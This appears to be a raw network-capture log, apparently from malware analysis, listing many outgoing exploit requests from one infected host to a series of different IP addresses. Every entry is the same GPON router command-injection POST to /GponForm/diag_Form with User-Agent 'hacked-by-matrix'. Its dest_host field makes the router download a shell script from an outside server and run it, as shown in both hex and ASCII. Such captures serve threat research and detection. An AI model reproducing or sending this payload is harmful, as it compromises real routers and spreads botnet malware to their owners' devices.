Mar 21, 2024 05:26:34.289684057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1212	192.168.2.23	52148	212.251.166.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289731979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1213	192.168.2.23	38132	118.145.35.235	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289750099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1214	192.168.2.23	40862	37.2.40.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289750099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1215	192.168.2.23	39578	178.24.19.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289803028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1216	192.168.2.23	53304	37.177.57.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289803028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1217	192.168.2.23	58742	212.76.204.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289813995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1218	192.168.2.23	36956	118.233.43.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289836884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1219	192.168.2.23	42642	210.163.40.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289869070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1220	192.168.2.23	45446	118.240.135.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289889097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1221	192.168.2.23	38776	178.207.94.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289892912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1222	192.168.2.23	49496	212.199.17.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289916039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1223	192.168.2.23	38428	42.86.172.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289921045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1224	192.168.2.23	55928	5.48.103.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289963961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1225	192.168.2.23	53206	178.144.131.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289971113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1226	192.168.2.23	47724	109.58.63.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289983034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1227	192.168.2.23	59038	37.178.176.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.289992094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1228	192.168.2.23	49482	5.227.150.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.290040970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1229	192.168.2.23	40444	212.252.254.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.290059090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1230	192.168.2.23	51568	109.84.205.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.290069103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1231	192.168.2.23	34438	118.43.69.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.290118933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1232	192.168.2.23	50870	5.53.22.39	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.290136099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1233	192.168.2.23	40166	94.142.98.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.290168047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1234	192.168.2.23	58668	210.220.28.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:34.290205002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1235	192.168.2.23	52542	94.201.51.166	443

Timestamp	Bytes transferred	Direction	Data
